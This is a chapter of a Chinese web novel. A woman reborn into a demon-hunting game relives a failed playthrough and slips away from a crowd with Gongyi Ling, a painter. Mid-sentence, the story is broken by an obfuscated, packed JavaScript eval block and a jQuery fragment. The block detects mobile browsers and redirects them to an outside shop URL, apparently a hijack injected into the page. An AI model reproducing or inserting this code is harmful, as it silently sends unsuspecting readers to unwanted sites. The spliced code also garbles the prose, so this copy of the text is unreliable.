“你是救你的心上人封樾呢，还是白月光公仪翎呢？”
沈司清倒是没想到这在狗血虐文里用烂了的经典二选一，如今也会发生在自己身上。
虽然她是被发问的那个。
高处的大妖控制着濒死的两人，一脸好笑地看着视线已经被血模糊到看不清路，全身上下都是和山下妖物缠斗时负的伤，只能靠撑着自己的角弓才能堪堪站起身的沈司清。
“你好像也没两口气了，趁还能说话快快选一个吧。”
大妖的目的很简单，它就是要让没被选的那个人绝望，再两个都杀掉让沈司清绝望。
可是沈司清才不会让它如愿，低声骂道：
“蠢妖怪，我可是有存档的。”
她选择和妖怪同归于尽了。
机械声突然出现在沈司清的脑子里开始毫无感情地报告：“一周目封樾线BADENDING已回收，十秒后宿主将传送回存档位。十、九、八、七……”
“清清。”
有人在叫她。
沈司清再次睁开了眼，干的第一件事就是慌乱地摸了摸自己身子，确认每一个部位都完好无损才重重地松了一口气。
被妖术打飞到的痛觉和被某人抱在怀里的温暖都仿佛还停留在身上。
即便她对死亡早已看淡，但再经历一次还是会心有余悸。
两个月前，就在沈司清以为自己死得透透了的时候，被迫重生到了一款架空古风降妖游戏里，还绑了个没啥用只会提示攻略进度和任务失败的系统。
游戏的大致剧情就是女主沈灵玥为了重振沈家，参加降妖司的最终考核，在和同行伙伴们的共同努力下成功拿下考核第一名，成为甲等降妖师，最后事业爱情双丰收。
而沈司清作为考核前两个月才从外地搬来浮城的新增人物——女主的表姐，除了需要和女主还有其他重要角色一起组队完成这次降妖司的考核，她还有个攻略任意一位可攻略角色的支线任务。
虽然非常不情愿，但她一想起给她发布任务的那位神明的模样，就忍不住打寒颤。如果再见面，她也不知道拒绝任务的话能不能再次说出口。。
在上辈子漫长的住院时光里，沈司清好巧不巧玩过这款游戏。不过一周目都还没通过，她的病情便加重，没再有机会继续玩了。
所以对剧情几乎没什么了解的她，一周目意料之中的，团灭了。
“一周目不看攻略果然很容易be。”沈司清只得这样安慰自己。
“清清姑娘？”
沈司清的袖子被人扯了扯，她这才意识到自己身边被一大群人围得水泄不通。
而造成这个局面的“罪魁祸首”，正是拉着她袖子，即便被困在最里层也能露出大半个脑袋的公仪翎。
人群中有男有女有老有少，注意力全在刚刚因为沈司清在摊主面前说漏嘴而被迫“掉马”的《浮城降妖录》画师，也是参加这次考核的同伴，公仪翎身上。
“欸，别走啊公仪公子。”
“是啊是啊，好不容易遇上公仪公子了，快跟我们说说《浮城降妖录》下一本到底发生什么了呀。”
“公仪哥哥公仪哥哥，这本画本上的故事我们都快背下来，什么时候画下一本啊？”
沈司清重新振作了精神，看见手里提着装满东西的篮子，很快反应过来自己回到了哪一段剧情。
她偷偷取出事先准备好的符纸，小声念了个咒。
符纸如烟一般消失，幻化成一条小蛇，往人群中爬去。
沈司清会的咒术并不多，所以大部分时候都是利用这种提前画好的符纸。
作为一个小配角，她的灵力完全不够看。光是这种只能维持十几秒的小幻术，她学起来都费了不少功夫。
看着小蛇已经钻进了人群中间后，沈司清趁着大家的注意力都在公仪翎身上，低头捂着下半张脸发出大喊：
“啊啊啊！有蛇啊！”
只见刚还围着公仪翎死不松动的人群突然惊叫着四处散开，差点把沈司清都给撞翻在地。
幸好一只手伸了过来，将沈司清的手腕紧紧抓住，这才让她没有狼狈地摔到地上。
“清清姑娘。”
沈司清抬头，和一双漂亮的眼睛对上。
无论见过多少次，沈司清都会被面前这张脸美到出神。
第一次和公仪见面时，她刚来这个世界。
当时的情况和现在很像。
沈司清被一鸟头妖怪撞翻在地还被一群讨厌鬼笑话。
而公仪翎，是唯一一个上前扶起她的人。
“昭屹就是嘴上坏了些，没有恶意的。”向她伸手的公仪翎有着极为好听的声音，开口便如同在吟唱动听歌曲一般。
他眼角带笑，长袍被他披在肩上，如瀑的青丝半绾，由一根玉簪固定，显得慵懒却又美丽。
“简直就是塞壬。”
沈司清当时下意识开口道。
公仪翎没听懂沈司清在说什么，以为她被吓得没有回过神。于是蹲下身把脸凑近了些，关切道：“沈姑娘可有受伤？把手给在下吧，在下拉你起身。”
面对突然凑到跟前的脸，沈司清呼吸一滞，被迫重生又立马遭遇莫名其妙之事后的怒火几乎全灭了。
她哪儿见过这么漂亮的人。
男人眉目如画，眸光潋滟，美得雌雄莫辨。而他那双摄人心魄的桃花眼正关切地盯着沈司清看。
“我，我没事。”
即便平日里对谁都没什么好脸色的沈司清突然有些结巴起来。
她听那人的话把手搭了上去。
她觉得自己现在就像被塞壬的歌声勾了魂的水手，面前这个男人说什么她都会乖乖跟着做。
“清清姑娘？”
早已改变的称呼把沈司清从回忆里唤醒。
公仪翎没了刚才被人群围住的窘迫，笑着说：“不带我走吗？”
沈司清这才反应过来自己的正事。
她反拉过公仪翎的手，带他往人群散开的另一个方向头也不回地溜掉。
他们现在所在的金宝镇算是个大镇子，刚才所处的集市人很多很热闹。风餐露宿了好几天的主角团也是因此决定在这里停留一晚，补给点物资再继续前进。
于是今天一早，沈司清便和同为配角的公仪翎一同出了门采购。公仪翎算是沈司清唯一的愿意主动搭理的人，比起朋友，她觉得他俩更像是同好。
他们二人有些相同的爱好，聊得很来。甚至到一周目后期，沈司清对他的信任和依赖远超所有人。
沈司清拉着人不管不顾地跑了好一会儿，直到跑到一个无人的小巷子里才停下。
她把跑乱的头发往后拨了拨，露出面不改色的脸，忍不住抱怨着：“还以为会回得更早一些，没想到都快到个人线了。”
公仪翎站直了身子，他的体力明显不如沈司清，眼里泛着亮晶晶的水光，不停喘着大气：“什么？”
“啊，没什么。我说这儿应该没人跟过来了。”
沈司清见状突然觉得好笑极了。她也没想到当时随口建议让公仪翎画的连环画本，竟然小火了一把，甚至在他们路过的这个离浮城百里远的镇子都有不少人看过他的《浮城降妖录》。
这个平日里只要不降妖就大门不出二门不迈，天天呆家里画画的死宅贵公子，还会有被围着“催更”的一天。
“我也是没想到，画本会这么受欢迎。”公仪翎想到刚才的场面，惊喜之余又有些不好意思。
“谁又能想到，你这个出生于降妖世家的人，比起降妖，竟然对画画更感兴趣。”
沈司清上辈子也有着相似的爱好。但因为后来住院，很多事情都做不了，所以最多的消遣就变成了看看漫画。
她也是无意中看见了公仪翎的画。
比起不凡的画技，她最先看到的是画中的故事，于是随口提了些想法。
谁知二人竟越聊越投机，甚至在沈司清的鼓励下，公仪翎画出了第一本完整的作品，还如此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191765|197083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受欢迎。
“好了，反正东西都买齐了，我们回客栈吧。”沈司清另一只抱着篮子的手往公仪翎面前送了送，示意提手已经脱落，抱怨道，“只可惜这篮子坏了。”
沈司清想试着做点跟上周目不一样的事。
公仪翎看似温柔亲切，对任何人要求也几乎是有求必应。这也是为什么刚才他于是被一群人围着追问时，毫无办法。
但他大部分时候却不是一个会主动的人。
就像上周目，沈司清没好意思说，他也不问，于是沈司清抱着个坏掉的篮子走了一路。
摸清公仪翎性格的沈司清这次想道德绑架一下，刚想开口让公仪翎帮帮自己，怀中的篮子就被拿走了。
“走吧。”公仪翎就这样手里提着一个，怀里抱着一个，迈开步伐往客栈方向走。
沈司清想好的话术全都没用上。
“也不知道能不能赶得上客栈的早膳。”
公仪翎回看沈司清，温柔的眼里像是有一汪湖水，看得她着迷。
她快步跟了上去，心里忍不住抱怨了句“不可攻略长这么好看做什么啊。”
偶尔还怪让人心动的。
公仪翎其实话不算太多，比起说是聊天对象，更应该说是一个很好的倾听对象。
上个周目他俩相处的时候，大都是沈司清在没话找话，一说起她爱看的漫画就发了狠忘了情，而公仪翎则在一旁眯着眼睛微笑听着。
这次或许是因为二周目会有些无伤大雅的剧情变动，这次公仪翎的话好像变得稍微多了些。
“清清姑娘帮我完成的画本形式很是新颖，这大概也是受欢迎的原因吧。”
“和普通话本不太一样。像这样用画代替文字，来诉说一个篇幅较长的故事，我还是第一次做这样的尝试。确实挺累的，但是我画得很开心。”
沈司清听见自己喜欢的话题，立刻提起了兴趣。
“毕竟画完一本所需要的作画量真的很多。不过还好有符纸的帮助，只需要画好一本便可以复制出好多本拿去市场上卖了。”
“那段时间你天天把自己关在书房里，害得大家还以为你出什么事了呢。”
“我还记得清清姑娘当时也着急了。”
“我才没有！我只是怕你自闭了到时候考核给沈灵玥拖后腿。”
沈司清当然不会承认自己当时真的挺担心的，一有时间就跑去公仪家老宅蹲人。
“沈灵玥想要拿第一，得帮上她忙才行。”
上一周目沈灵玥他们死得突然又蹊跷，沈司清觉得还是得呆在沈灵玥身边盯着才行。
一想到上周目那大妖得意的嘴脸她就来气。
“要是能变得更厉害些就好了。”她空闲的双手合十祈祷，“希望这次肯定成。”
她担心的不止指这次考核，更是在说攻略任务。
莫名其妙让她这个完全没有恋爱经历的人去攻略一个角色，简直比走主线难太多。
沈司清自认为没什么耐心。上个周目她攻略半天，进度条一点动静都没有，她都想把攻略对象衣领提起来狠狠拷问一番强制爱算了。
“清清姑娘也很厉害啊。”公仪翎自然是不知道沈司清在想什么，柔声安慰，“一定能帮上你堂妹忙的。今日你不就帮了在下吗？”
沈司清知道公仪翎这么说是为了让她安心，倒是有些不好意思了。
两人并肩聊得入神，直到来到一条小路上。
这条路又窄又长，两侧都是水沟，一人侧身通行已是勉勉强强。
路两边的景色很美，宽阔的田野，远处是连绵不绝的高山。说不定其中一座正是他们来时所翻过的。
土路上弥漫着乡间早晨才有的植物和泥土的清新气息，一切看起来都再正常不过了。
但沈司清不由得冒出了冷汗。
竟然把这茬给忘了。
她停住了脚步，说出了和上一周目一模一样的台词：
“我们来的时候有这条路吗？”